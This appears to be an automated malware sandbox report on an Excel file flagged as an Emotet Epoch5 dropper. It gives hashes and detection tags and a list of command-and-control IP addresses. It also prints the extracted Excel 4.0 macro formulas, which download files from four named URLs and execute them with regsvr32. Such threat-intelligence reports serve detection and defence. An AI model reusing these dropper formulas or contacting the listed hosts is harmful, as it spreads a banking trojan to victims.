Overview

overview

10

Static

static

10

ed43d8a984...4e.xls

windows7-x64

10

ed43d8a984...4e.xls

windows10-2004-x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    ed43d8a984d2bdbc1d6b5bc84eb2f5441b9b340701c7b9ef81b9b86ed6d0e44e

  • Size

    97KB

  • Sample

    241024-k25wdawapn

  • MD5

    69e7962676c99f4a721877133c573888

  • SHA1

    e608542cb4d363fa06f8ca2fd8bed8c4800a2eb7

  • SHA256

    ed43d8a984d2bdbc1d6b5bc84eb2f5441b9b340701c7b9ef81b9b86ed6d0e44e

  • SHA512

    d868bea62d2088fe05b52256e2667efbdfede37b5e0fab7eb9454243743464e7a0c22d6d8538df453f83a61f8d581586bd0a6d91df951b690fecce3c65d98b9f

  • SSDEEP

    3072:Gk3hOdsylKlgxopeiBNhZFGzE+cL2kdAIWmH4IbfhtV:Gk3hOdsylKlgxopeiBNhZF+E+W2kdAI7

Score
10/10
emotetepoch5bankerdiscoverymacrotrojanxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.globallaborsupply.com/wp-admin/eaeUuTop/

http://drpektas.com/vendor/wY8q9ZEbe9UOdpET/

http://focusmedica.in/CG4YYrfcFISmm7Q94/

http://rud-tech.5v.pl/download/pl5/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.globallaborsupply.com/wp-admin/eaeUuTop/","..\hucs1.ooocccxxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\hucs1.ooocccxxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://drpektas.com/vendor/wY8q9ZEbe9UOdpET/","..\hucs2.ooocccxxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\hucs2.ooocccxxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://focusmedica.in/CG4YYrfcFISmm7Q94/","..\hucs3.ooocccxxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\hucs3.ooocccxxx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rud-tech.5v.pl/download/pl5/","..\hucs4.ooocccxxx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\hucs4.ooocccxxx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.globallaborsupply.com/wp-admin/eaeUuTop/
xlm40.dropper

http://drpektas.com/vendor/wY8q9ZEbe9UOdpET/
xlm40.dropper

http://focusmedica.in/CG4YYrfcFISmm7Q94/
xlm40.dropper

http://rud-tech.5v.pl/download/pl5/

Extracted

Family

emotet

Botnet

Epoch5

C2

202.28.34.99:8080

80.211.107.116:8080

175.126.176.79:8080

218.38.121.17:443

139.196.72.155:8080

103.71.99.57:8080

87.106.97.83:7080

178.62.112.199:8080

64.227.55.231:8080

46.101.98.60:8080

54.37.228.122:443

128.199.217.206:443

190.145.8.4:443

209.239.112.82:8080

85.214.67.203:8080

198.199.70.22:8080

128.199.242.164:8080

178.238.225.252:8080

103.85.95.4:8080

103.126.216.86:443
eck1.plain
ecs1.plain

Targets

    • Target

      ed43d8a984d2bdbc1d6b5bc84eb2f5441b9b340701c7b9ef81b9b86ed6d0e44e

    • Size

      97KB

    • MD5

      69e7962676c99f4a721877133c573888

    • SHA1

      e608542cb4d363fa06f8ca2fd8bed8c4800a2eb7

    • SHA256

      ed43d8a984d2bdbc1d6b5bc84eb2f5441b9b340701c7b9ef81b9b86ed6d0e44e

    • SHA512

      d868bea62d2088fe05b52256e2667efbdfede37b5e0fab7eb9454243743464e7a0c22d6d8538df453f83a61f8d581586bd0a6d91df951b690fecce3c65d98b9f

    • SSDEEP

      3072:Gk3hOdsylKlgxopeiBNhZFGzE+cL2kdAIWmH4IbfhtV:Gk3hOdsylKlgxopeiBNhZF+E+W2kdAI7

    Score
    10/10
    emotetepoch5bankerdiscoverytrojan

    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

      trojanbankeremotet

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Downloads MZ/PE file

    • Loads dropped DLL

    behavioral1behavioral2

MITRE ATT&CK Enterprise v15

Tasks